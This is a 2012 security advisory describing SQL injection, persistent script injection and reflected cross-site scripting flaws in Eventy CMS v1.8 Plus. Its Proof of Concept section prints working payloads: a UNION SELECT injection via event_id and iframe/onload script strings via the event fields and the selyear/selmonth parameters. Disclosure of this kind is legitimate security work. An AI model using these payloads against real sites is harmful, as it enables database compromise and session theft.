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Title:
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======
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Eventy CMS v1.8 Plus - Multiple Web Vulnerablities
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Date:
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=====
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2012-11-13
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References:
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===========
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http://www.vulnerability-lab.com/get_content.php?id=756
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VL-ID:
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=====
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756
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Common Vulnerability Scoring System:
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====================================
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8.3
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Introduction:
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=============
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Publish Your Events In Online Calendar. Eventy Is Beautiful And Easy To Use Web Based Event Calendar Software
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Publish events like parties, courses, meetings, conferences, workshops, and more in easy and user-friendly way.
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Eventy Plus adds features like mailing lists, multi-administrator interface, switchable weekly/monthly view,
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event categories, and rich text editor. Use Eventy or Eventy Plus for your company website, freelancer`s blog,
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club site, online school, or to show your consulting availability. Eventy uses Ajax and runs on web hosts
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with PHP and MySQL.
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(Copy of the Vendor Homepage: http://calendarscripts.info/event-calendar-software.html )
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Abstract:
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=========
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The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Eventy CMS v1.8 Plus.
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Report-Timeline:
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================
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2012-11-13: Public or Non-Public Disclosure
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Status:
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========
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Published
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Exploitation-Technique:
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=======================
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Remote
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Severity:
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=========
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Critical
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Details:
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========
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A SQL Injection vulnerability is detected in the Eventy CMS v1.8 Plus ,web based event calendar software.
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The vulnerability allows an attacker (remote) or local low privileged user account to execute a SQL commands on the
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affected application dbms. The sql injection vulnerability is located in eventy.php file with the bound vulnerable
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event_id parameter. Successful exploitation of the vulnerability results in dbms & application compromise.
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Exploitation requires no user interaction & without privileged user account.
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Vulnerable File(s):
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[+] eventy.php
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Vulnerable Parameter(s):
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[+] event_id
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1.2
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A persistent input validation vulnerability is detected in the Eventy CMS v1.8 Plus ,web based event calendar software.
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The bug allows remote attackers to implement/inject malicious script code on the application side (persistent).
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The persistent vulnerabilities is located in the the add Event module bound vulnerable Event Title and Event Location
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parameters. Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
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context manipulation. Exploitation requires low user inter action & privileged web application user account.
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Vulnerable Module(s):
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[+] Add Event
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Vulnerable Parameter(s):
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[+] Event Title - Event Location
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1.3
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A non-persistent cross site scripting vulnerability is detected in the Eventy CMS v1.8 Plus ,web based event calendar software.
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The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required
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user inter action or local low privileged user account. The vulnerability is located in the eventy.php page the bound vulnerable selyear
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and selmonth parameter. Successful exploitation of the vulnerability result in account steal, client site phishing or client-side
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content request manipulation.
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Vulnerable File(s):
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[+] eventy.php
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Vulnerable Parameter(s):
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[+] selyear - selmonth
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Proof of Concept:
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=================
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1.1
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The SQL injection vulnerability can be exploited by remote attackers without privileged application user accounr and without
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required user inter action. For demonstration or reproduce ...
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PoC:
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<html><head><body>
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<title>SQL Injection Vulnerability - PoC</title>
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<iframe src=http://eventy.127.0.0.1:8080/eventy/eventy.php?selyear=&selmonth=&event_id=-1869+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12,13--%20->
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</body></head></html>
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1.2
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The persistent input validation vulnerabilities can be exploited by remote attackers with low or medium required user inter action
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& low privileged user account. For demonstration or reproduce ...
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Manaually Reproduce ...
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The attacker can create a new event with injecting a malicious code i.e.,
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>"<iframe src=http://www.vulnerability-lab.com onload=alert("VL")</iframe>, in the field Event Title - Event Location Fields.
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When the admin or any other user view the event the code gets executed.
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Reference(s):
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http://eventy.127.0.0.1:8080/eventy-plus/eve_edit.php?m=November&y=2012&d=20
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1.3
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PoC:
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<html><head><body>
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<title>Client side - Cross Site Scripting</title>
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<iframe src=http://eventy.127.0.0.1:8080/eventy/eventy.php?selyear=&selmonth=>"<iframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%3C/iframe%3E>
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<iframe src=http://eventy.127.0.0.1:8080/eventy/eventy.php?selyear=>"<iframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%3C/iframe%3E&selmonth=April>
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</body></head></html>
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Risk:
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=====
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1.1
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The security risk of the remote SQL Injection vulnerability is estimated as critical.
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1.2
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The security risk of the persistent input validation vulnerability is estimated as medium(+).
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1.3
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The security risk of the client side cross site scripting vulnerability is estimated as low(+).
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Credits:
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========
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Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) [storm@vulnerability-lab.com] [iel-sayed.blogspot.com]
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Disclaimer:
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===========
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The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Copyright <20> 2012 | Vulnerability Laboratory
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--
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VULNERABILITY RESEARCH LABORATORY
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LABORATORY RESEARCH TEAM
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CONTACT: research@vulnerability-lab.com |